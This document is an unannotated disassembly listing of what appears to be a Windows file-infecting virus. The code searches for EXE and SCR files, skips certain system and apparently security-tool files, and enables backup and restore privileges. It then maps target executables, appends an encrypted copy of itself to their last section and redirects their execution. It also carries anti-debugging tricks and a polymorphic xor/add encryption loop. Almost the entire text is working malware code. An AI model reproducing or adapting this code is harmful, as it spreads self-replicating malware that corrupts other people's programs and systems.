; =============== S U B	R O U T	I N E =======================================



sub_42BEF1	proc near		; CODE XREF: sub_42C45B+336p
		push	esi
		push	edi
		cmp	dword ptr [ebp+104300h], 0
		jz	loc_42C0D9
		call	near ptr loc_42BF11+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_42BF11:				; CODE XREF: sub_42BEF1+Fp
		add	bh, bh
sub_42BEF1	endp ; sp-analysis failed

		xchg	eax, ebp
		scasb
		db	3Eh
		adc	[eax], al
		mov	[ebp+104314h], eax
		push	ebx
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_42B414
		mov	edx, [ebp+1042F4h]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+104318h], eax
		add	eax, [edx+8]
		mov	[ebp+10431Ch], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_42B414
		mov	edi, [ebp+1042F4h]
		push	esi
		call	sub_42B414
		mov	edx, [ebp+1042F4h]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_42C0D9
		jz	loc_42C0D9
		add	esi, [ebp+1042F8h]
		add	esi, [ebp+1042B4h]
; START	OF FUNCTION CHUNK FOR sub_42C0AA


loc_42BF8B:				; CODE XREF: sub_42C0AA+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_42C036
		lea	eax, [esi+4]
		sub	eax, [ebp+1042B4h]
		add	eax, [esi]
		push	eax
		call	sub_42B414
		cmp	dword ptr [ebp+1042F4h], 0
		jnz	short loc_42BFB9
		cmp	eax, [edi+0Ch]
		jnb	loc_42C0D2
		jmp	short loc_42BFC5
; ---------------------------------------------------------------------------


loc_42BFB9:				; CODE XREF: sub_42C0AA-FEj
		cmp	[ebp+1042F4h], edx
		jnz	loc_42C0D2


loc_42BFC5:				; CODE XREF: sub_42C0AA-F3j
		add	eax, [ebp+1042B4h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_42C0D2
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_42B414
		cmp	[ebp+1042F4h], edi
		jnz	loc_42C0D2
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_42C0D2
		cmp	eax, [edi+8]
		jnb	loc_42C0D2


loc_42C00E:				; CODE XREF: sub_42C0AA+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+1042B4h]
		push	edx
		push	eax
		push	dword ptr [ebp+104314h]
		call	dword ptr [ebp+103E6Eh]
		pop	edx
		test	eax, eax
		jnz	loc_42C0E8
		jmp	loc_42C0D2
; ---------------------------------------------------------------------------


loc_42C036:				; CODE XREF: sub_42C0AA-11Cj
		cmp	al, 0FFh
		jnz	loc_42C0D2
		cmp	byte ptr [esi],	15h
		jnz	loc_42C0D2
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_42B414
		cmp	[ebp+1042F4h], edi
		jnz	short loc_42C0D2
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	[ebp+104320h], eax
		mov	eax, [eax]
		cmp	eax, [ebp+104318h]
		jb	short loc_42C07F
		cmp	eax, [ebp+10431Ch]
		jb	short loc_42C0E8


loc_42C07F:				; CODE XREF: sub_42C0AA-35j
		cmp	eax, 70000000h
		jb	short loc_42C0BD
		call	sub_42C0AA
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, [ebp+104320h]
		jnz	short locret_42C0A9
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_42C0C4
; ---------------------------------------------------------------------------

locret_42C0A9:				; CODE XREF: sub_42C0AA-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_42C0AA

; =============== S U B	R O U T	I N E =======================================



sub_42C0AA	proc near		; CODE XREF: sub_42C0AA-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 0042BF8B SIZE 0000011F BYTES

		pop	dword ptr [ebp+1042D4h]
		pusha
		mov	esi, [ebp+1042B4h]
		call	sub_42B51B
		popa


loc_42C0BD:				; CODE XREF: sub_42C0AA-26j
		test	eax, 80000000h
		jnz	short loc_42C0D2


loc_42C0C4:				; CODE XREF: sub_42C0AA-3j
		sub	eax, [edi+0Ch]
		jb	short loc_42C0D2
		cmp	eax, [edi+8]
		jb	loc_42C00E


loc_42C0D2:				; CODE XREF: sub_42C0AA-F9j
					; sub_42C0AA-EBj ...
		dec	ecx
		jnz	loc_42BF8B


loc_42C0D9:				; CODE XREF: sub_42BEF1+9j
					; .rsrc:0042BF73j ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+29C0h], 0FFBFFFFFh
		jmp	short loc_42C12A
; ---------------------------------------------------------------------------


loc_42C0E8:				; CODE XREF: sub_42C0AA-7Fj
					; sub_42C0AA-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, [ebp+104300h]
		mov	[ebp+1042FCh], eax
		lea	edi, [ecx+29C4h]
		add	eax, [ebp+1042B4h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+54h], 5
		mov	[esi-4], eax


loc_42C12A:				; CODE XREF: sub_42C0AA+3Cj
		pop	edi
		pop	esi
		retn
sub_42C0AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42C12D	proc near		; CODE XREF: .rsrc:0042C42Ep

; FUNCTION CHUNK AT 0042C257 SIZE 00000002 BYTES

		push	edi
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jnz	loc_42C257
		push	eax
		push	esp
		push	28h
		push	0FFFFFFFFh
		call	dword ptr [ebp+103F1Ah]
		test	eax, eax
		pop	edi
		js	loc_42C257
		call	sub_42A5AF
		call	near ptr loc_42C168+5
		push	ebx
		db	65h
		jz	short near ptr unk_42C1A6
		imul	ebp, [ebp+53h],	72756365h


loc_42C168:				; CODE XREF: sub_42C12D+2Ap
		imul	esi, [ecx+edi*2+41h], 88B5FF00h
sub_42C12D	endp ; sp-analysis failed

		inc	edx
		adc	[eax], al
		call	dword ptr [ebp+103E6Eh]
		mov	[ebp+104290h], eax
		call	near ptr loc_42C19C+1
		push	ebx
		db	65h
		push	esp
		popa
		imul	esp, [ebp+4Fh],	77h
		outsb
		db	65h
		jb	short loc_42C203
		push	72507069h
		imul	esi, [esi+69h],	6567656Ch


loc_42C19C:				; CODE XREF: .rsrc:0042C17Fp
		add	[edi-18h], dl
		sub	eax, ebp
; ---------------------------------------------------------------------------
		db 0FFh
		db 0FFh
		db 0E8h	; è
		db  13h
		db    0
unk_42C1A6	db    0			; CODE XREF: sub_42C12D+30j
		db    0
		db  53h	; S
		db  65h	; e
		db  52h	; R
		db  65h	; e
		db  73h	; s
		db  74h	; t
		db  6Fh	; o
		db  72h	; r
		db  65h	; e
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; è
		db  0Bh
		db 0E8h	; è
		db 0FFh
		db 0FFh
		db 0E8h	; è
		db  12h
		db    0
		db    0
		db    0
		db  53h	; S
		db  65h	; e
		db  42h	; B
		db  61h	; a
		db  63h	; c
		db  6Bh	; k
		db  75h	; u
		db  70h	; p
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; è
		db 0EEh	; î
		db 0E7h	; ç
		db 0FFh
		db 0FFh
		db 0E8h	; è
		db  18h
		db    0
		db    0
		db    0
		db  53h	; S
		db  65h	; e
		db  43h	; C
		db  68h	; h
		db  61h	; a
		db  6Eh	; n
		db  67h	; g
		db  65h	; e
		db  4Eh	; N
		db  6Fh	; o
		db  74h	; t
		db  69h	; i
		db  66h	; f
		db  79h	; y
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; è
		db 0CBh	; Ë
		db 0E7h	; ç
		db 0FFh
		db 0FFh
		db  50h	; P
		db  54h	; T
; ---------------------------------------------------------------------------


loc_42C203:				; CODE XREF: .rsrc:0042C18Dj
		lea	eax, [ebp+103DCCh]
		push	64h
		push	eax
		push	1
		push	edi
		call	dword ptr [ebp+103F26h]
		mov	[esp], edi
		call	dword ptr [ebp+103E62h]
		sub	al, al
		lea	edi, [ebp+104184h]
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp+103DCCh]
		push	40001h
		push	esp
		push	1
		push	edi
		call	dword ptr [ebp+104290h]
		push	esp
		push	4
		push	edi
		call	dword ptr [ebp+104290h]
		add	esp, 14h
		push	dword ptr [ebp+104288h]
		call	dword ptr [ebp+103E9Eh]
; START	OF FUNCTION CHUNK FOR sub_42C12D


loc_42C257:				; CODE XREF: sub_42C12D+Aj
					; sub_42C12D+1Fj
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_42C12D

; =============== S U B	R O U T	I N E =======================================



sub_42C259	proc near		; CODE XREF: .rsrc:0042C427p
					; .rsrc:0042C433p ...
		lea	esi, [ebp+104184h]
		push	esi
		call	dword ptr [ebp+103EA2h]
		cmp	eax, 0FFFFFFFFh
		jz	locret_42C32A
		mov	[ebp+104294h], eax
		push	0
		push	esi
		call	dword ptr [ebp+103EDEh]
		test	eax, eax
		jz	locret_42C32A
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+103E7Eh]
		cmp	eax, 0FFFFFFFFh
		jz	loc_42C8AB
		mov	[ebp+104298h], eax
		lea	ecx, [ebp+10429Ch]
		lea	edx, [ebp+1042A4h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+103EAAh]
		cmp	eax, 0FFFFFFFFh
		jz	loc_42C89F
		push	0
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103EA6h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_42C89F
		mov	[ebp+1042ACh], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103E82h]
		test	eax, eax
		jz	loc_42C89F
		xor	ecx, ecx
		mov	[ebp+1042B0h], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr [ebp+103ECAh]
		test	eax, eax
		jz	loc_42C877
		mov	[ebp+1042B4h], eax

locret_42C32A:				; CODE XREF: sub_42C259+10j
					; sub_42C259+27j ...
		retn
sub_42C259	endp

; ---------------------------------------------------------------------------


loc_42C32B:				; CODE XREF: sub_42C45B+188p
					; sub_42C45B+2A0p
		mov	eax, 7327h
		mov	ecx, [ebx+38h]
; ---------------------------------------------------------------------------
		db 0F7h	; ÷
		db  85h	; …
		db 0C0h	; À
		db  39h	; 9
		db  10h
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		and	[ebp+6], dh
		add	eax, [ebp+101069h]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+1042C0h], eax
		mov	eax, 29CBh
		mov	ecx, [ebx+3Ch]
		add	eax, [ebp+101069h]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+1042B8h], eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42C370	proc near		; CODE XREF: sub_42C45B:loc_42C4D0p
					; sub_42C45B+1B4p
		movzx	ecx, word ptr [ebx+6]
		stc


loc_42C375:				; CODE XREF: sub_42C370+23j
		jecxz	short locret_42C3AC
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_42C3AC
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_42C375
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, [ebp+1042ACh]

locret_42C3AC:				; CODE XREF: sub_42C370:loc_42C375j
					; sub_42C370+1Dj ...
		retn
sub_42C370	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C3AD	proc near		; CODE XREF: .rsrc:0042C445p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_42C3AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42C3BA:				; CODE XREF: .rsrc:0042C3DBj
		mov	ecx, edi
		jmp	short loc_42C3C9
; ---------------------------------------------------------------------------
		lea	edi, [ebp+104184h]
		cld


loc_42C3C5:				; CODE XREF: .rsrc:0042C3D7j
		mov	ebx, edi
		xor	ecx, ecx


loc_42C3C9:				; CODE XREF: .rsrc:0042C3BCj
					; .rsrc:0042C3DFj
		lodsb
		cmp	al, 61h
		jb	short loc_42C3D4
		cmp	al, 7Ah
		ja	short loc_42C3D4
		sub	al, 20h


loc_42C3D4:				; CODE XREF: .rsrc:0042C3CCj
					; .rsrc:0042C3D0j
		stosb
		cmp	al, 5Ch
		jz	short loc_42C3C5
		cmp	al, 2Eh
		jz	short loc_42C3BA
		cmp	al, 0
		jnz	short loc_42C3C9
		jecxz	short locret_42C3AC
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_42C3F7
		cmp	eax, 524353h
		jnz	locret_42C32A


loc_42C3F7:				; CODE XREF: .rsrc:0042C3EAj
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_42C32A
		cmp	eax, 4E554357h
		jz	locret_42C32A
		cmp	eax, 32334357h
		jz	locret_42C32A
		cmp	eax, 4F545350h
		jz	locret_42C32A
		xor	ebx, ebx
		call	sub_42C259
		jnz	short loc_42C43E
		call	sub_42C12D
		call	sub_42C259
		jz	locret_42C32A


loc_42C43E:				; CODE XREF: .rsrc:0042C42Cj
		xor	edx, edx
		call	sub_42C45B
		call	sub_42C3AD
		call	$+5
		pop	ebp
		sub	ebp, 10344Fh
		jmp	loc_42C855

; =============== S U B	R O U T	I N E =======================================



sub_42C45B	proc near		; CODE XREF: .rsrc:0042C440p

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, [ebp+1042B4h]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_42C855
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_42C855
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_42C855
		test	byte ptr [ebx+5Ch], 2
		jz	loc_42C855
		mov	eax, [ebx+8]
		cmp	eax, 0A0A0A0A0h
		jz	loc_42C855
		cmp	eax, 20202020h
		jz	loc_42C855
		mov	ecx, [ebx+0C8h]
		jecxz	short loc_42C4D0
		push	ecx
		call	sub_42B414
		add	ecx, [ebp+1042F8h]
		add	ecx, esi
		and	dword ptr [ecx+40h], 0
		and	dword ptr [ecx+44h], 0


loc_42C4D0:				; CODE XREF: sub_42C45B+5Dj
		call	sub_42C370
		jb	loc_42C855
		and	dword ptr [ebp+1042FCh], 0
		mov	eax, [edx+8]
		mov	ecx, [edx+10h]
		sub	eax, ecx
		jnb	short loc_42C4F0
		xor	eax, eax
		jmp	short loc_42C4F5
; ---------------------------------------------------------------------------


loc_42C4F0:				; CODE XREF: sub_42C45B+8Fj
		add	ecx, eax
		mov	[edx+10h], ecx


loc_42C4F5:				; CODE XREF: sub_42C45B+93j
		mov	[ebp+1042BCh], eax
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	near ptr dword_42AB50+43h
		xor	[ebp+1039BEh], dl
		mov	cl, 20h
		xor	[ebp+1039BFh], dh


loc_42C517:				; CODE XREF: sub_42C45B+D5j
		push	20h
		dec	cl
		pop	eax
		js	short loc_42C532
		call	near ptr dword_42AB50+43h
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	[ebp+1039C0h], edx
		jmp	short loc_42C517
; ---------------------------------------------------------------------------


loc_42C532:				; CODE XREF: sub_42C45B+C1j
		test	dword ptr [ebp+1039C0h], 2000000h
		jz	short loc_42C560
		test	dword ptr [ebp+1039C0h], 3
		jnz	short loc_42C556
		and	dword ptr [ebp+1039C0h], 0F7FFFFFFh
		jmp	short loc_42C560
; ---------------------------------------------------------------------------


loc_42C556:				; CODE XREF: sub_42C45B+EDj
		or	dword ptr [ebp+1039C0h], 10000000h


loc_42C560:				; CODE XREF: sub_42C45B+E1j
					; sub_42C45B+F9j ...
		push	6
		pop	ecx


loc_42C566:				; CODE XREF: sub_42C45B+129j
		push	6
		pop	eax
		call	near ptr dword_42AB50+43h
		mov	al, [ebp+1039B8h]
		xchg	al, [edx+ebp+1039B8h]
		mov	[ebp+1039B8h], al
		loop	loc_42C566
		test	dword ptr [ebp+1039C0h], 8
		jnz	short loc_42C59B
		cmp	byte ptr [ebp+1039BAh],	1
		jz	short loc_42C560


loc_42C59B:				; CODE XREF: sub_42C45B+135j
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_42C5C2
		cmp	byte ptr [ebp+1039B8h],	5
		jz	short loc_42C560
		cmp	byte ptr [ebp+1039B9h],	5
		jz	short loc_42C560
		cmp	byte ptr [ebp+1039BAh],	5
		jz	short loc_42C560


loc_42C5C2:				; CODE XREF: sub_42C45B+14Aj
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_42C5D7
		cmp	byte ptr [ebp+1039B8h],	2
		ja	short loc_42C560


loc_42C5D7:				; CODE XREF: sub_42C45B+171j
		and	dword ptr [ebp+104300h], 0
		call	loc_42B855
		call	loc_42C32B
		call	sub_42C85E
		mov	ebx, [ebp+1042B8h]
		add	ebx, [ebp+1042BCh]
		call	sub_42C259
		jz	loc_42C855
		mov	esi, [ebp+1042B4h]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_42C370
		jb	loc_42C855
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr [ebp+1039C0h], 20000000h
		jnz	short loc_42C64B
		mov	[ebp+104304h], edi
		lea	esi, [ebp+1039CCh]
		mov	ecx, [ebp+101069h]
		rep movsb


loc_42C64B:				; CODE XREF: sub_42C45B+1DAj
		push	edi
		mov	ecx, 0A73h
		lea	esi, [ebp+101000h]
		rep movsd
		mov	cl, 0
		jecxz	short loc_42C65F
		rep movsb


loc_42C65F:				; CODE XREF: sub_42C45B+200j
		test	dword ptr [ebp+1039C0h], 20000000h
		jz	loc_42C71D
		push	dword ptr [ebx+28h]
		call	sub_42B414
		mov	edx, [ebp+1042F4h]
		test	edx, edx
		jz	loc_42C71D
		mov	esi, [ebp+1042B4h]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_42C69C
		xor	ecx, ecx


loc_42C69C:				; CODE XREF: sub_42C45B+23Dj
		add	esi, [edx+14h]
		cmp	ecx, [ebp+101069h]
		mov	ecx, [ebp+101069h]
		jb	short loc_42C703
		mov	edi, [esp+14h+var_14]
		and	dword ptr [ebp+101069h], 0
		and	dword ptr [edi+69h], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, [ebp+1042C8h]
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_42C6DC
		neg	dword ptr [eax]


loc_42C6DC:				; CODE XREF: sub_42C45B+27Dj
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	[ebp+104300h], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_42C6FA
		neg	dword ptr [eax]


loc_42C6FA:				; CODE XREF: sub_42C45B+29Bj
		push	ecx
		call	loc_42C32B
		pop	ecx
		jmp	short loc_42C70F
; ---------------------------------------------------------------------------


loc_42C703:				; CODE XREF: sub_42C45B+250j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_42C70F:				; CODE XREF: sub_42C45B+2A6j
		lea	esi, [ebp+1039CCh]
		mov	[ebp+104304h], edi
		rep movsb


loc_42C71D:				; CODE XREF: sub_42C45B+20Ej
					; sub_42C45B+224j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+137h]
		cmp	dl, [ebp+1039BEh]
		jnz	short loc_42C736
		imul	edx, 12345678h


loc_42C736:				; CODE XREF: sub_42C45B+2D3j
		mov	[eax-19h], dx
		call	sub_42A120
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr [ebp+1039C0h], 20000000h
		lea	eax, [ecx+5]
		jnz	short loc_42C768
		mov	[ebp+104300h], ecx
		add	eax, [ebp+101069h]
		and	dword ptr [edi+69h], 0


loc_42C768:				; CODE XREF: sub_42C45B+2F8j
		sub	eax, [ebx+28h]
		mov	[edi+54h], eax
		test	dword ptr [ebp+103F7Ch], 1
		jz	short loc_42C784
		mov	dword ptr [ebx+8], 0A0A0A0A0h


loc_42C784:				; CODE XREF: sub_42C45B+320j
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_42C797
		push	edx
		call	sub_42BEF1
		pop	edx


loc_42C797:				; CODE XREF: sub_42C45B+333j
		mov	ecx, [ebp+104300h]
		jecxz	short loc_42C7A4
		mov	[ebx+28h], ecx
		jmp	short loc_42C7B1
; ---------------------------------------------------------------------------


loc_42C7A4:				; CODE XREF: sub_42C45B+342j
		mov	ecx, [ebp+1042FCh]
		jecxz	short loc_42C7AE
		jmp	short loc_42C7B1
; ---------------------------------------------------------------------------


loc_42C7AE:				; CODE XREF: sub_42C45B+34Fj
		mov	ecx, [ebx+28h]


loc_42C7B1:				; CODE XREF: sub_42C45B+347j
					; sub_42C45B+351j
		test	dword ptr [ebp+1039C0h], 3
		jz	short loc_42C7D1
		mov	eax, [ebp+104304h]
		add	ecx, [ebp+1042ECh]
		add	eax, [ebp+1042E8h]
		add	[eax], ecx


loc_42C7D1:				; CODE XREF: sub_42C45B+360j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+1042B8h]
		cmp	[edx+8], ecx
		jnb	short loc_42C7E2
		mov	[edx+8], ecx


loc_42C7E2:				; CODE XREF: sub_42C45B+382j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, [ebp+1042C0h]
		push	29CCh
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+1039BEh]
		test	dword ptr [ebp+1039C0h], 20000000h
		jz	short loc_42C813
		add	ecx, [ebp+101069h]


loc_42C813:				; CODE XREF: sub_42C45B+3B0j
		mov	dh, 0
		test	dword ptr [ebp+1039C0h], 20000h
		jnz	short loc_42C835
		inc	dh
		test	dword ptr [ebp+1039C0h], 40000h
		jnz	short loc_42C835
		mov	dh, [ebp+1039BFh]


loc_42C835:				; CODE XREF: sub_42C45B+3C4j
					; sub_42C45B+3D2j
		test	dword ptr [ebp+1039C0h], 4000h
		jnz	short loc_42C84C


loc_42C841:				; CODE XREF: sub_42C45B+3EDj
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_42C841
		jmp	short loc_42C855
; ---------------------------------------------------------------------------


loc_42C84C:				; CODE XREF: sub_42C45B+3E4j
					; sub_42C45B+3F8j
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_42C84C


loc_42C855:				; CODE XREF: .rsrc:0042C456j
					; sub_42C45B+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_42C45B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42C85E	proc near		; CODE XREF: sub_42C45B+18Dp
		cmp	dword ptr [ebp+104298h], 0
		jz	locret_42C32A
		push	dword ptr [ebp+1042B4h]
		call	dword ptr [ebp+103EEEh]


loc_42C877:				; CODE XREF: sub_42C259+C5j
		push	dword ptr [ebp+1042B0h]
		call	dword ptr [ebp+103E62h]
		lea	ecx, [ebp+10429Ch]
		lea	edx, [ebp+1042A4h]
		push	ecx
		push	edx
		push	0
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103EE2h]


loc_42C89F:				; CODE XREF: sub_42C259+6Bj
					; sub_42C259+82j ...
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103E62h]


loc_42C8AB:				; CODE XREF: sub_42C259+45j
		lea	esi, [ebp+104184h]
		push	dword ptr [ebp+104294h]
		push	esi
		call	dword ptr [ebp+103EDEh]
		and	dword ptr [ebp+104298h], 0
		retn
sub_42C85E	endp

; ---------------------------------------------------------------------------
		dw 0E8h
		dd 5D000000h, 0ED81016Ah, 1038CBh, 0C10FF058h, 10158885h
		dd 0C3C08500h, 0F0FFC883h, 8885C10Fh, 0C3001015h, 2A00103Dh
		dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h,	575FFFFh
		dd 0FFFAB5E8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h
		dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h,	104184B5h
		dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h
		dd 0FF505200h, 103F2E95h, 8C48300h, 3F5C3E81h, 3755C3Fh
		dd 0E804C683h, 0FFFFFA62h, 0FFFF7FE8h, 0B8C361FFh, 74h
		dd 2FB8B1EBh, 0E8000000h, 1Dh, 0B80020C2h, 30h,	10E8h
		dd 24C200h, 185B8h, 3E800h, 2CC20000h, 24548D00h, 832ECD0Ch
		dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 0A2ED811Ah
		dd 0E8001039h, 0FFFFE0B3h, 4C261h, 5030702h, 24960601h
		dd 0ACB1447Eh, 145A49E8h, 0FF8B8B00h, 570E860h,	4CEB0000h
		dd 3 dup(0)
		db 87h,	0DBh
		db 90h
		align 4
		dd 6 dup(0)
		dd 27000h, 8 dup(0)
; ---------------------------------------------------------------------------
		mov	ebx, offset dword_4439A4
		add	ebx, ebp
		sub	ebx, dword ptr ss:byte_4439D5[ebp]
		cmp	ss:dword_444804[ebp], 0
		mov	ss:dword_444804[ebp], ebx
		jnz	near ptr word_42CEA6
		lea	eax, dword_44480C[ebp]
		push	eax
		call	dword ptr ss:(loc_444917+1)[ebp]
		mov	ss:dword_444808[ebp], eax
		mov	edi, eax
		lea	ebx, byte_444819[ebp]
		push	ebx
		push	eax
		call	dword ptr ss:(loc_444913+1)[ebp]
		mov	ss:dword_4439E1[ebp], eax
		lea	ebx, word_444826[ebp]
		push	ebx
		push	edi
		call	dword ptr ss:(loc_444913+1)[ebp]
		mov	ss:dword_4439E5[ebp], eax
		lea	eax, dword_443B72[ebp]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 40000000h, 3	dup(0)
		dd 2600000h, 121900h, 2	dup(0)
		dd 100000h, 6E8800h, 1A00000h, 9800h, 0EAh dup(0)
		dd 9B470000h, 8AD7C80h,	3317C83h, 7C91h, 0Dh dup(0)
		db 2 dup(0)
word_42CEA6	dw 0			; CODE XREF: .rsrc:0042CA3Aj
		dd 118h	dup(0)
		dd 7C800000h, 133Dh dup(0)
; ---------------------------------------------------------------------------
		call	$+5
		cld
		mov	eax, [esp]
		mov	ecx, [eax+29BBh]
		mov	[eax+3303h], ebx
		and	ecx, 400000h
		mov	ebx, [esp+4]
		jz	short loc_43204D
		pop	ecx
		mov	[eax+3307h], esi
		mov	cl, [eax+29BFh]
		mov	[eax+330Bh], edi
		cmp	cl, 0E8h
		jz	short loc_432041
		mov	ebx, [eax+29C1h]
		jmp	short loc_43204B
; ---------------------------------------------------------------------------


loc_432041:				; CODE XREF: .rsrc:00432037j
		mov	ecx, [eax+29C0h]
		mov	ebx, [ecx+ebx+2]


loc_43204B:				; CODE XREF: .rsrc:0043203Fj
		mov	ebx, [ebx]


loc_43204D:				; CODE XREF: .rsrc:0043201Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 0B004h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+1039CCh]
		mov	ecx, 0E4h
		rep movsb
		sldt	cx
		test	ecx, ecx
		jnz	short loc_43207B
		or	eax, 0FFFFFFFFh
		int	2Eh		; DOS 2+ internal - EXECUTE COMMAND
					; DS:SI	-> counted CR-terminated command string


loc_43207B:				; CODE XREF: .rsrc:00432074j
		and	ebx, 0FFFFF000h


loc_432081:				; CODE XREF: .rsrc:00432090j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_432092


loc_43208A:				; CODE XREF: .rsrc:0043209Fj
		sub	ebx, 100h
		jnz	short loc_432081


loc_432092:				; CODE XREF: .rsrc:00432088j
		mov	eax, ebx
